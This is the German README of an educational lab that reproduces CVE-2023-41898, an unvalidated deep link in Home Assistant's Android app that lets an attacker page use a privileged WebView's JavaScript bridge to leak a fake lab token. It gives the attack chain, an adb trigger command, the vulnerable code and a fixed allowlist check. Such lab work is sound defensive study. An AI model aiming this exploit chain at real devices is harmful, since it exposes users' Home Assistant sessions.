
Gehen Sie CVE-2023-41898 durch: Nutzen Sie einen nicht validierten Deep Link in Home Assistant Android aus, um beliebige URLs in einer privilegierten WebView zu laden und ein Fake-Token zu leaken.
Dieses Lab ist eine pädagogische, verkleinerte Reproduktion, die auf dem öffentlichen Schwachstellenbericht (GHSL-2023-142) für Home Assistant Companion for Android und der Open-Source-Struktur der verwundbaren Version 2023.8.2 basiert.
Es werden keine echten Home-Assistant-Server, -Konten oder -Tokens verwendet. Es wird nur ein festes virtuelles Token namens LAB_TOKEN_CVE_2023_41898_NOT_REAL offengelegt.
2023.9.2 (laut offizieller Empfehlung)2023.9.2Attacker App
│ expliziter ACTION_VIEW Intent
│ data=http://10.0.2.2:8000/exploit.html
▼
Victim MyActivity (exported)
│ WebView.loadUrl() mit JavaScript ohne Validierung
▼
exploit.html
│ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
▼
Victim WebViewActivity (privileged WebView)
│ externalApp-JavaScript-Bridge wird der Angreiferseite ausgesetzt
▼
Anzeige des virtuellen LAB_TOKEN
Der intent-filter im Android-Manifest definiert lediglich, welche URIs mit impliziten Intents übereinstimmen; er validiert die data-URI eines Intents, der eine Komponente explizit angibt, nicht automatisch.
victim/: App, die den verwundbaren Deep-Link-Handler und die privilegierte WebView nachbildetattacker/: App, die einen expliziten Intent an die exportierte Activity der Opfer-App sendetweb/: Lokal bereitzustellende Angriffsseiten für Stufe 1 und 2dist/: Verifizierte Debug-APKUPSTREAM.md: Zuordnung zwischen Originalsource und Lab-ImplementierungAnforderungen: JDK 17 oder höher, Android SDK 36, Gradle/Android-Gradle-Plugin-Cache oder Internetverbindung.
./gradlew :victim:assembleDebug :attacker:assembleDebug
Nur auf autorisierten Emulatoren oder Testgeräten ausführen.
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk
Führe den folgenden Befehl im Lab-Wurzelverzeichnis aus.
python3 -m http.server 8000 --directory web
Im Standard-Emulator von Android Studio zeigt 10.0.2.2 auf das Loopback des Host-PCs. Bei Verwendung eines echten Testgeräts müssen web/exploit.html und die URL der Angriffs-App auf die LAN-IP des PCs geändert werden.
CVE-2023-41898 Victim und CVE-2023-41898 Attacker installieren.homeassistant://navigate/.LAB_TOKEN_CVE_2023_41898_NOT_REAL angezeigt wird.Der erste Schritt kann auch per ADB ohne die Angriffs-App aufgerufen werden.
adb shell am start \
-n lab.cve202341898.victim/.MyActivity \
-a android.intent.action.VIEW \
-d 'http://10.0.2.2:8000/exploit.html'
Die verwundbare Implementierung lädt die externe URI unverändert.
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());
Bei der Korrektur müssen scheme, host, port und path der geparsten URI gegen eine strenge Allowlist validiert werden. String-Vergleiche mit startsWith sind zu vermeiden, da sie Umgehungen über Benutzerinformationen ([email protected]), Subdomains und Kodierung ermöglichen.
Uri uri = getIntent().getData();
boolean trusted = uri != null
&& "https".equals(uri.getScheme())
&& "my.home-assistant.io".equals(uri.getHost())
&& uri.getPort() == -1
&& uri.getPath() != null
&& uri.getPath().startsWith("/redirect/");
if (!trusted) {
finish();
return;
}
Zusätzlich sollten unnötiges JavaScript und das JavascriptInterface aus der WebView entfernt und dieselbe URL-Validierung auf alle Navigationen und Weiterleitungen angewendet werden.
2023.8.2: https://github.com/home-assistant/android/tree/2023.8.2